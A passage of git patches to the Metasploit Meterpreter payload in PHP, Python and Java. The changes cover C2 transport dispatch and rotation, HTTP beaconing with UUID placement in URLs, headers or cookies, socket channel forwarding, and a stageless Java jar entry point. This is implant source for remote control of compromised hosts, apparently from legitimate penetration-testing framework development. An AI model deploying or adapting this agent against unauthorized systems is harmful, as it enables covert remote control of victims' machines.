$url_parts['port']; - my_print("TCP transport, connecting to $ipaddr:$port"); - $msgsock = connect($ipaddr, $port); - if (!$msgsock) { die(); } + if (!activate_transport_with_retry($transport)) { + my_print("Failed to activate transport[$idx], rotating"); + $GLOBALS['current_transport_idx'] = transport_next_idx($idx); + unset($transport); + continue; } - add_reader($msgsock); - - # - # TCP main dispatch loop - # - $r=$GLOBALS['readers']; - $w=NULL;$e=NULL;$t=1; - while (false !== ($cnt = select($r, $w, $e, $t))) { - if (time() > $GLOBALS['session_expiry_end']) { break; } - for ($i = 0; $i < $cnt; $i++) { - $ready = $r[$i]; - if ($ready == $msgsock) { - $packet = read($msgsock, 32); - if (false==$packet) { - break 2; - } - $xor = substr($packet, 0, 4); - $header = xor_bytes($xor, substr($packet, 4, 28)); - $len_array = unpack("Nlen", substr($header, 20, 4)); - $len = $len_array['len'] + 32 - 8; - while (strlen($packet) < $len) { - $packet .= read($msgsock, $len-strlen($packet)); - } - $response = create_response(decrypt_packet(xor_bytes($xor, $packet))); - write_tlv_to_socket($msgsock, $response); - } else { - #my_print("not Msgsock: $ready"); - $chan_id = get_channel_id_from_resource($ready); - $channel = false; - if ($chan_id !== false) { - $channel = get_channel_by_id($chan_id); - } - - if ($channel && isset($channel['subtype']) && $channel['subtype'] == 'tcp_server') { - $client_sock = false; - $client_addr = ''; - $client_port = 0; - $server_addr = ''; - $server_port = 0; - - switch (get_rtype($ready)) { - case 'socket': - $client_sock = @socket_accept($ready); - if ($client_sock) { - @socket_getpeername($client_sock, $client_addr, $client_port); - @socket_getsockname($ready, $server_addr, $server_port); - register_socket($client_sock); - } - break; - case 'stream': - $peer_name = ''; - $client_sock = @stream_socket_accept($ready, 0, $peer_name); - if ($client_sock) { - $local_name = stream_socket_get_name($ready, false); - if (!is_string($peer_name)) { - $peer_name = ''; - } - if (!is_string($local_name)) { - $local_name = ''; - } - - if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $peer_name, $matches)) { - $client_addr = $matches[1]; - $client_port = (int)$matches[2]; - } elseif (preg_match('/^([^:]+):(\d+)$/', $peer_name, $matches)) { - $client_addr = $matches[1]; - $client_port = (int)$matches[2]; - } - if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $local_name, $matches)) { - $server_addr = $matches[1]; - $server_port = (int)$matches[2]; - } elseif (preg_match('/^([^:]+):(\d+)$/', $local_name, $matches)) { - $server_addr = $matches[1]; - $server_port = (int)$matches[2]; - } - - register_stream($client_sock); - } - break; - } - - if ($client_sock) { - $client_channel_id = register_channel($client_sock); - add_reader($client_sock); - - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $client_channel_id)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_PARENTID, $chan_id)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_HOST, $server_addr)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_PORT, $server_port)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $client_addr)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $client_port)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - write_tlv_to_socket($msgsock, $pkt); - } - } else { - $data = read($ready); - if (false === $data) { - handle_dead_resource_channel($ready); - } elseif (strlen($data) > 0){ - my_print(sprintf("Read returned %s bytes", strlen($data))); - $request = handle_resource_read_channel($ready, $data); - if ($request) { - write_tlv_to_socket($msgsock, $request); - } - } - } - } - } - $r = $GLOBALS['readers']; + if ($transport['type'] == 'tcp') { + $result = dispatch_tcp($transport); + my_print("Finished TCP transport"); + } else { + $result = dispatch_http($transport); + my_print("Finished HTTP transport"); } - my_print("Finished TCP transport"); - close($msgsock); -} elseif ($transport['type'] == 'http') { - # - # HTTP(S) main dispatch loop - stateless GET/POST cycle - # - my_print("Starting HTTP transport to " . $transport['url']); - $last_packet_time = time(); - $empty_count = 0; - - while (time() < $GLOBALS['session_expiry_end']) { - if (time() > $last_packet_time + $transport['comm_timeout']) { - my_print("Communication timeout reached"); - break; - } - - # GET - poll for a request from the server - $raw = http_get_packet($transport); - - if ($raw != null && strlen($raw) >= 32) { - $empty_count = 0; - $last_packet_time = time(); - - $xor = substr($raw, 0, 4); - $decrypted = decrypt_packet(xor_bytes($xor, $raw)); - $response = create_response($decrypted); - - # POST - send the response back - $xor_key = rand_xor_key(); - $encrypted = encrypt_packet($response); - $packet = $xor_key . xor_bytes($xor_key, $encrypted); - http_send_packet($transport, $packet); - } else { - # Server had nothing for us, back off - if ($raw !== null) { - # Got an empty 200 response - connection is alive - $last_packet_time = time(); - } - $delay = min(10, $empty_count * 0.1); - $empty_count++; - usleep((int)($delay * 1000000)); - } + if ($result == DISPATCH_EXIT) { + unset($transport); + break; + } + if ($result == DISPATCH_SWITCH) { + $GLOBALS['current_transport_idx'] = $GLOBALS['next_transport_idx']; + $GLOBALS['next_transport_idx'] = null; + } else { + # DISPATCH_RETIRE: rotate forward + $GLOBALS['current_transport_idx'] = transport_next_idx($idx); } - my_print("Finished HTTP transport"); + unset($transport); } my_print("--------------------"); From db2567b8735bd8918a3d7fc404faaa6d577eea7a Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 23:12:28 +1000 Subject: [PATCH 10/35] Use TLV_TYPE_C2_UUID over URL-path in PHP/Python/Java Makes sure that the provided UUID, per-transport, is used from the config block, if present, and later from the provided patch code. We fallback to the segment extraction if not set. --- .../metasploit/meterpreter/HttpTransport.java | 13 +++++-- .../meterpreter/core/core_transport_add.java | 1 + .../com/metasploit/stage/ConfigParser.java | 1 + .../com/metasploit/stage/TransportConfig.java | 3 ++ php/meterpreter/meterpreter.php | 36 +++++++++++++------ python/meterpreter/meterpreter.py | 12 ++++--- 6 files changed, 50 insertions(+), 16 deletions(-) diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index 7d8ca0dcc..72df397d6 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -35,6 +35,7 @@ public class HttpTransport extends Transport { private String proxyPass; private String customHeaders; private byte[] certHash; + private String c2Uuid; private C2VerbConfig c2Get; private C2VerbConfig c2Post; @@ -51,6 +52,7 @@ public HttpTransport(Meterpreter met, String url, TransportConfig transportConfi proxyPass = transportConfig.proxy_pass; certHash = transportConfig.cert_hash; customHeaders = transportConfig.custom_headers; + c2Uuid = transportConfig.c2_uuid; c2Get = transportConfig.c2Get; c2Post = transportConfig.c2Post; setTimeouts(transportConfig); @@ -63,6 +65,7 @@ public void bind(DataInputStream in, OutputStream rawOut) { @Override public boolean patchUuid(String uuid) { + this.c2Uuid = uuid; try { // can't use getAuthority() here thanks to java 1.2. Ugh. String newUrl = this.targetUrl.getProtocol() + "://" @@ -77,6 +80,10 @@ public boolean patchUuid(String uuid) { } } + public void setC2Uuid(String c2Uuid) { + this.c2Uuid = c2Uuid; + } + public String getUserAgent() { return this.userAgent; } @@ -305,16 +312,18 @@ private void useNextUrl() { } private String getUuidFromUrl() { + // Prefer TLV_TYPE_C2_UUID; fall back to URL path's last segment. + if (this.c2Uuid != null && this.c2Uuid.length() > 0) { + return this.c2Uuid; + } String path = this.targetUrl.getPath(); if (path == null || path.length() <= 1) { return ""; } - // Strip leading slash and any trailing slash path = path.substring(1); if (path.endsWith("/")) { path = path.substring(0, path.length() - 1); } - // Get the last path segment int lastSlash = path.lastIndexOf('/'); if (lastSlash >= 0) { return path.substring(lastSlash + 1); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index 13e3760bc..b682534cc 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -27,6 +27,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, "")); h.setCustomHeaders(request.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, "")); h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, null)); + h.setC2Uuid(request.getStringValue(TLVType.TLV_TYPE_C2_UUID, null)); // Parse C2 profile GET/POST sub-groups if present h.setC2Get(parseC2VerbGroup(request, TLVType.TLV_TYPE_C2_GET)); diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index a6aa5e01f..c62f1cdfc 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -55,6 +55,7 @@ public static Config parseConfig(byte[] configBytes) { transportConfig.user_agent = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UA, ""); transportConfig.custom_headers = c2Group.getStringValue(TLVType.TLV_TYPE_C2_HEADERS, ""); + transportConfig.c2_uuid = c2Group.getStringValue(TLVType.TLV_TYPE_C2_UUID, null); byte[] loadedHash = c2Group.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, new byte[0]); if (loadedHash.length > 0) { diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java index aaf335644..75612d789 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/TransportConfig.java @@ -15,6 +15,9 @@ public class TransportConfig { public byte[] cert_hash; public String custom_headers; + // Per-transport UUID for C2 profile placement; falls back to URL path when null. + public String c2_uuid; + // C2 profile (HTTP only) public C2VerbConfig c2Get; public C2VerbConfig c2Post; diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 97e1cdd20..3651512fb 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -765,12 +765,12 @@ function core_patch_uuid($req, &$pkt) { $tlv = packet_get_tlv($req, TLV_TYPE_C2_UUID); if ($tlv == null) { return ERROR_FAILURE; } $new_uuid = $tlv['value']; + $transport['c2_uuid'] = $new_uuid; $parts = parse_url($transport['url']); - if (!isset($parts['scheme']) || !isset($parts['host'])) { - return ERROR_FAILURE; + if (isset($parts['scheme']) && isset($parts['host'])) { + $port = isset($parts['port']) ? ':' . $parts['port'] : ''; + $transport['url'] = $parts['scheme'] . '://' . $parts['host'] . $port . '/' . $new_uuid; } - $port = isset($parts['port']) ? ':' . $parts['port'] : ''; - $transport['url'] = $parts['scheme'] . '://' . $parts['host'] . $port . '/' . $new_uuid; return ERROR_SUCCESS; } } @@ -1362,6 +1362,8 @@ function parse_config_block($raw) { $t['proxy_pass'] = ($tlv != null) ? $tlv['value'] : null; $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_HEADERS); $t['custom_headers'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_UUID); + $t['c2_uuid'] = ($tlv != null) ? $tlv['value'] : null; $get_group = packet_get_tlv_raw($c2_bytes, TLV_TYPE_C2_GET); $t['c2_get'] = ($get_group != null) ? parse_c2_verb_config($get_group['value']) : null; @@ -1434,6 +1436,8 @@ function parse_transport_from_request($req) { $t['proxy_pass'] = ($tlv != null) ? $tlv['value'] : null; $tlv = packet_get_tlv($req, TLV_TYPE_C2_HEADERS); $t['custom_headers'] = ($tlv != null) ? $tlv['value'] : null; + $tlv = packet_get_tlv($req, TLV_TYPE_C2_UUID); + $t['c2_uuid'] = ($tlv != null) ? $tlv['value'] : null; $get_group = packet_get_tlv($req, TLV_TYPE_C2_GET); $t['c2_get'] = ($get_group != null) ? parse_c2_verb_config($get_group['value']) : null; @@ -1457,6 +1461,9 @@ function tlv_pack_transport_group($t) { if (!empty($t['proxy_url'])) { $group .= tlv_pack(create_tlv(TLV_TYPE_C2_PROXY_URL, $t['proxy_url'])); } + if (!empty($t['c2_uuid'])) { + $group .= tlv_pack(create_tlv(TLV_TYPE_C2_UUID, $t['c2_uuid'])); + } } return $group; } @@ -2105,7 +2112,16 @@ function http_get_uuid_from_url($url) { return end($parts); } -function http_build_profile_url($base_url, $profile) { +function http_transport_uuid($transport) { + # Prefer TLV_TYPE_C2_UUID; fall back to URL path's last segment. + if (!empty($transport['c2_uuid'])) { + return $transport['c2_uuid']; + } + return http_get_uuid_from_url($transport['url']); +} + +function http_build_profile_url($transport, $profile) { + $base_url = $transport['url']; if ($profile == null || !isset($profile['uri']) || $profile['uri'] == null) { return $base_url; } @@ -2117,7 +2133,7 @@ function http_build_profile_url($base_url, $profile) { $url .= $uri; if (isset($profile['uuid_get']) && $profile['uuid_get'] != null) { - $uuid = http_get_uuid_from_url($base_url); + $uuid = http_transport_uuid($transport); if (strlen($uuid) > 0) { $sep = (strpos($url, '?') !== false) ? '&' : '?'; $url .= $sep . $profile['uuid_get'] . '=' . $uuid; @@ -2136,13 +2152,13 @@ function http_build_context($transport, $profile, $body = null) { } if ($profile != null) { if (isset($profile['uuid_header']) && $profile['uuid_header'] != null) { - $uuid = http_get_uuid_from_url($transport['url']); + $uuid = http_transport_uuid($transport); if (strlen($uuid) > 0) { $headers .= $profile['uuid_header'] . ': ' . $uuid . "\r\n"; } } if (isset($profile['uuid_cookie']) && $profile['uuid_cookie'] != null) { - $uuid = http_get_uuid_from_url($transport['url']); + $uuid = http_transport_uuid($transport); if (strlen($uuid) > 0) { $headers .= "Cookie: " . $profile['uuid_cookie'] . '=' . $uuid . "\r\n"; } @@ -2182,7 +2198,7 @@ function http_build_context($transport, $profile, $body = null) { function http_get_packet($transport) { $profile = $transport['c2_get']; - $url = http_build_profile_url($transport['url'], $profile); + $url = http_build_profile_url($transport, $profile); $ctx = http_build_context($transport, $profile); $raw = @file_get_contents($url, false, $ctx); @@ -2215,7 +2231,7 @@ function http_send_packet($transport, $packet) { } } - $url = http_build_profile_url($transport['url'], $profile); + $url = http_build_profile_url($transport, $profile); $ctx = http_build_context($transport, $profile, $body); @file_get_contents($url, false, $ctx); diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index 963684634..a9e17562d 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -909,6 +909,7 @@ def __init__(self): self.request_retire = False self.aes_enabled = False self.aes_key = None + self.c2_uuid = None def __repr__(self): return "<{0} url='{1}' >".format(self.__class__.__name__, self.url) @@ -972,6 +973,7 @@ def from_request(request): transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) transport.retry_total = packet_get_tlv(request, TLV_TYPE_C2_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) transport.retry_wait = packet_get_tlv(request, TLV_TYPE_C2_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) + transport.c2_uuid = packet_get_tlv(request, TLV_TYPE_C2_UUID).get('value') return transport def _activate(self): @@ -1165,7 +1167,9 @@ def _build_request_headers(self, c2_opts, uuid=None): return headers def _get_uuid(self): - """Extract the UUID/conn_id portion from the current URL.""" + # Prefer TLV_TYPE_C2_UUID; fall back to URL path's last segment. + if self.c2_uuid: + return self.c2_uuid match = re.match(r'https?://[^/]+/(.*?)/?$', self.url) if match: return match.group(1).split('/')[-1] @@ -1253,10 +1257,10 @@ def _send_packet(self, packet): response = url_h.read() def patch_uuid(self, new_uuid): + self.c2_uuid = new_uuid match = re.match(r'https?://[^/]+(/.*$)', self.url) - if match is None: - return False - self.url = self.url[:match.span(1)[0]] + '/' + new_uuid + if match is not None: + self.url = self.url[:match.span(1)[0]] + '/' + new_uuid return True def tlv_pack_transport_group(self): From d7971d9e78a1c8e47a31fdb4b8a23c7f09d9772d Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 13 May 2026 23:21:55 +1000 Subject: [PATCH 11/35] Restore stageless for Android Move session flags into a dedicated TLV. Avoid reusing config[0] which will cause issues. --- .../src/com/metasploit/meterpreter/AndroidMeterpreter.java | 5 ++++- .../shared/src/main/java/com/metasploit/TLVType.java | 1 + .../src/main/java/com/metasploit/stage/ConfigParser.java | 1 + 3 files changed, 6 insertions(+), 1 deletion(-) diff --git a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java index f703aeab4..5aeaf9d2a 100644 --- a/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java +++ b/java/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java @@ -11,6 +11,7 @@ import com.metasploit.meterpreter.stdapi.*; import com.metasploit.stage.Config; +import com.metasploit.stage.ConfigParser; import java.io.DataInputStream; import java.io.File; @@ -80,7 +81,9 @@ public AndroidMeterpreter(DataInputStream in, OutputStream rawOut, Object[] para writeableDir = (String)parameters[0]; byte[] config = (byte[]) parameters[1]; - boolean stageless = (config != null && (config[0] & Config.FLAG_STAGELESS) != 0); + Config parsedConfig = (config != null) ? ConfigParser.parseConfig(config) : null; + boolean stageless = (parsedConfig != null + && (parsedConfig.flags & Config.FLAG_STAGELESS) != 0); if (stageless) { loadConfiguration(in, rawOut, config); diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java index 4d4c28e01..a82a1022e 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVType.java @@ -95,6 +95,7 @@ public interface TLVType { public static final int TLV_TYPE_C2_UUID_GET = TLVPacket.TLV_META_TYPE_STRING | 724; // Name of the GET parameter to put the UUID in public static final int TLV_TYPE_C2_UUID_HEADER = TLVPacket.TLV_META_TYPE_STRING | 725; // Name of the header to put the UUID in public static final int TLV_TYPE_C2_UUID = TLVPacket.TLV_META_TYPE_STRING | 726; // string representation of the UUID for C2s + public static final int TLV_TYPE_SESSION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 727; // session-level configuration flags (FLAG_STAGELESS, FLAG_DEBUG, FLAG_WAKELOCK, FLAG_HIDE_APP_ICON) // Fs public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200; diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java index c62f1cdfc..3d241823c 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/stage/ConfigParser.java @@ -23,6 +23,7 @@ public static Config parseConfig(byte[] configBytes) { config.uuid = configPacket.getRawValue(TLVType.TLV_TYPE_UUID); config.session_guid = configPacket.getRawValue(TLVType.TLV_TYPE_SESSION_GUID); config.debug_log = configPacket.getStringValue(TLVType.TLV_TYPE_DEBUG_LOG, null); + config.flags = ((Integer) configPacket.getValue(TLVType.TLV_TYPE_SESSION_FLAGS, new Integer(0))).intValue(); } catch (IOException ioException) { return null; } catch (IllegalArgumentException illegalArgumentException) { From 90c664b9a283c5ae8d14a602b816d25c6a8ad671 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 14 May 2026 00:04:05 +1000 Subject: [PATCH 12/35] Stagless entry point for java Add support for stageless java via jar file. --- java/meterpreter/meterpreter/pom.xml | 6 ++++ .../metasploit/meterpreter/Meterpreter.java | 26 +++++++++++++++ .../metasploit/meterpreter/StagelessMain.java | 32 +++++++++++++++++++ 3 files changed, 64 insertions(+) create mode 100644 java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java diff --git a/java/meterpreter/meterpreter/pom.xml b/java/meterpreter/meterpreter/pom.xml index 3bdc43660..c13249d57 100644 --- a/java/meterpreter/meterpreter/pom.xml +++ b/java/meterpreter/meterpreter/pom.xml @@ -43,6 +43,12 @@ com.metasploit:Metasploit-Java-Shared + + + + com.metasploit.meterpreter.StagelessMain + + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 76dcc2519..ca0ce7b20 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -172,6 +172,32 @@ public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensio } } + /** + * Initialize the meterpreter from an embedded config block. No upstream + * stream is consumed; transports open their own connections. + * + * @param configBlock Raw TLV configuration bytes + * @param loadExtensions Whether to load extension jars + * @param redirectErrors Whether to redirect errors to the internal buffer + */ + public Meterpreter(byte[] configBlock, boolean loadExtensions, boolean redirectErrors) throws Exception { + this.loadExtensions = loadExtensions; + this.commandManager = new CommandManager(); + this.channels.add(null); + + if (redirectErrors) { + errBuffer = new ByteArrayOutputStream(); + err = new PrintStream(errBuffer); + } else { + errBuffer = null; + err = System.err; + } + + loadConfiguration(null, null, configBlock); + this.ignoreBlocks = 0; + startExecuting(); + } + public TransportList getTransports() { return this.transports; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java new file mode 100644 index 000000000..c4e4ae557 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/StagelessMain.java @@ -0,0 +1,32 @@ +package com.metasploit.meterpreter; + +import java.io.ByteArrayOutputStream; +import java.io.InputStream; + +/** + * Entry point for stageless Java meterpreter payloads. Reads the embedded + * TLV config block from a jar resource and hands it to the Meterpreter + * constructor; transports open their own connections from there. + */ +public class StagelessMain { + + private static final String CONFIG_RESOURCE = "/META-INF/data"; + + public static void main(String[] args) throws Exception { + InputStream cfg = StagelessMain.class.getResourceAsStream(CONFIG_RESOURCE); + if (cfg == null) { + throw new RuntimeException("no embedded config block"); + } + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + try { + byte[] chunk = new byte[4096]; + int n; + while ((n = cfg.read(chunk)) != -1) { + buf.write(chunk, 0, n); + } + } finally { + cfg.close(); + } + new Meterpreter(buf.toByteArray(), true, true); + } +} From 35aee2b003cfd51146a05c607b4604a75b809340 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 17:16:47 +1000 Subject: [PATCH 13/35] Fix debugging and UUID handling in python --- python/meterpreter/meterpreter.py | 42 +++++++++++++++++++------------ 1 file changed, 26 insertions(+), 16 deletions(-) diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index a9e17562d..f9c2172bb 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -3,6 +3,7 @@ import binascii import code import copy +import logging import os import platform import random @@ -373,13 +374,8 @@ ) # --------------------------------------------------------------- -if DEBUGGING: - import logging - logging.basicConfig(level=logging.DEBUG) - if DEBUGGING_LOG_FILE_PATH: - file_handler = logging.FileHandler(DEBUGGING_LOG_FILE_PATH) - file_handler.setLevel(logging.DEBUG) - logging.getLogger().addHandler(file_handler) +# Note: DEBUGGING is driven by the runtime config block, not a build-time +# constant, so logging is configured where DEBUGGING is enabled (below). if has_windll: class SYSTEM_INFO(ctypes.Structure): @@ -1143,10 +1139,12 @@ def _build_request_url(self, c2_opts, uuid=None): uri = c2_opts.get('uri') or '' url = base_url + '/' + uri.lstrip('/') - # Place UUID in query parameter if configured + # No param/header/cookie placement => id is carried in the URI. if uuid and c2_opts.get('uuid_get'): separator = '&' if '?' in url else '?' url = url + separator + c2_opts['uuid_get'] + '=' + uuid + elif uuid and not (c2_opts.get('uuid_header') or c2_opts.get('uuid_cookie')): + url = url.rstrip('/') + '/' + uuid return url def _build_request_headers(self, c2_opts, uuid=None): @@ -1167,7 +1165,7 @@ def _build_request_headers(self, c2_opts, uuid=None): return headers def _get_uuid(self): - # Prefer TLV_TYPE_C2_UUID; fall back to URL path's last segment. + # Prefer the on-the-fly C2 UUID; fall back to the one in the URL. if self.c2_uuid: return self.c2_uuid match = re.match(r'https?://[^/]+/(.*?)/?$', self.url) @@ -1188,7 +1186,7 @@ def _get_packet(self): url = self._build_request_url(self.c2_get, uuid) headers = self._build_request_headers(self.c2_get, uuid) else: - url = self.url + url = self._non_c2_url() headers = self._http_request_headers request = urllib.Request(url, None, headers) @@ -1205,8 +1203,9 @@ def _get_packet(self): suffix_skip = self.c2_get.get('suffix_skip', 0) end = len(raw_response) - suffix_skip if suffix_skip else len(raw_response) raw_response = raw_response[prefix_skip:end] - # Decode the response based on encoding flags - raw_response = self._c2_decode(raw_response, self.c2_get.get('enc', C2_ENCODING_NONE)) + # c2_get['enc'] is the client metadata/id (request-side) + # encoding; it must NOT decode the response. The response + # transform is the server `output` (prefix/suffix skip). packet = raw_response if len(packet) < PACKET_HEADER_SIZE: @@ -1245,7 +1244,7 @@ def _send_packet(self, packet): if prefix or suffix: body = prefix + body + suffix else: - url = self.url + url = self._non_c2_url() headers = self._http_request_headers body = packet @@ -1257,12 +1256,18 @@ def _send_packet(self, packet): response = url_h.read() def patch_uuid(self, new_uuid): + # Like metsrv request_core_patch_uuid: only swap the UUID. The URL is + # rebuilt from the (untouched) base each request, so the base path / + # LURI and any cookie/header/get-param placement stay intact. self.c2_uuid = new_uuid - match = re.match(r'https?://[^/]+(/.*$)', self.url) - if match is not None: - self.url = self.url[:match.span(1)[0]] + '/' + new_uuid return True + def _non_c2_url(self): + # No C2 profile: rebuild base/ every request (metsrv generate_uri + # equivalent) so a patched UUID is honoured without mutating self.url. + base = self.url.rstrip('/').rsplit('/', 1)[0] + return base + '/' + self._get_uuid() + def tlv_pack_transport_group(self): trans_group = super(HttpTransport, self).tlv_pack_transport_group() if self.user_agent: @@ -2216,6 +2221,11 @@ def encrypt(self, pt): if config.get('debug_log'): DEBUGGING = True DEBUGGING_LOG_FILE_PATH = config['debug_log'] + logging.basicConfig(level=logging.DEBUG) + if DEBUGGING_LOG_FILE_PATH: + _dbg_fh = logging.FileHandler(DEBUGGING_LOG_FILE_PATH) + _dbg_fh.setLevel(logging.DEBUG) + logging.getLogger().addHandler(_dbg_fh) transport = config['transports'][0] # For staged TCP payloads, the stager has already established the socket # connection, so bind it to the first transport instead of reconnecting. From 695986c4863a5e22de0aa168b14ee9058bd302ad Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 19 May 2026 21:27:43 +1000 Subject: [PATCH 14/35] Fix PHP stageless with MC2 --- php/meterpreter/meterpreter.php | 86 +++++++++++++++++++++++---------- 1 file changed, 60 insertions(+), 26 deletions(-) diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php index 3651512fb..57f463f8d 100755 --- a/php/meterpreter/meterpreter.php +++ b/php/meterpreter/meterpreter.php @@ -151,6 +151,7 @@ function socket_set_option($sock, $type, $opt, $value) { define("PACKET_TYPE_REQUEST", 0); define("PACKET_TYPE_RESPONSE", 1); +define("PACKET_TYPE_CONFIG", 2); define("PACKET_TYPE_PLAIN_REQUEST", 10); define("PACKET_TYPE_PLAIN_RESPONSE", 11); @@ -237,9 +238,16 @@ function socket_set_option($sock, $type, $opt, $value) { define("TLV_TYPE_SYM_KEY", TLV_META_TYPE_RAW | 552); define("TLV_TYPE_ENC_SYM_KEY", TLV_META_TYPE_RAW | 553); +define("TLV_TYPE_PEER_HOST", TLV_META_TYPE_STRING | 1500); +define("TLV_TYPE_PEER_PORT", TLV_META_TYPE_UINT | 1501); +define("TLV_TYPE_LOCAL_HOST", TLV_META_TYPE_STRING | 1502); +define("TLV_TYPE_LOCAL_PORT", TLV_META_TYPE_UINT | 1503); + # C2/Transport configuration define("TLV_TYPE_SESSION_EXPIRY", TLV_META_TYPE_UINT | 700); +define("TLV_TYPE_EXITFUNC", TLV_META_TYPE_UINT | 701); define("TLV_TYPE_DEBUG_LOG", TLV_META_TYPE_STRING | 702); +define("TLV_TYPE_EXTENSION", TLV_META_TYPE_GROUP | 703); define("TLV_TYPE_C2", TLV_META_TYPE_GROUP | 704); define("TLV_TYPE_C2_COMM_TIMEOUT", TLV_META_TYPE_UINT | 705); define("TLV_TYPE_C2_RETRY_TOTAL", TLV_META_TYPE_UINT | 706); @@ -765,12 +773,10 @@ function core_patch_uuid($req, &$pkt) { $tlv = packet_get_tlv($req, TLV_TYPE_C2_UUID); if ($tlv == null) { return ERROR_FAILURE; } $new_uuid = $tlv['value']; + # Like metsrv request_core_patch_uuid: only swap the UUID. The URL is + # rebuilt from the (untouched) base each request, so the base path/LURI + # and any cookie/header/get-param placement stay intact. $transport['c2_uuid'] = $new_uuid; - $parts = parse_url($transport['url']); - if (isset($parts['scheme']) && isset($parts['host'])) { - $port = isset($parts['port']) ? ':' . $parts['port'] : ''; - $transport['url'] = 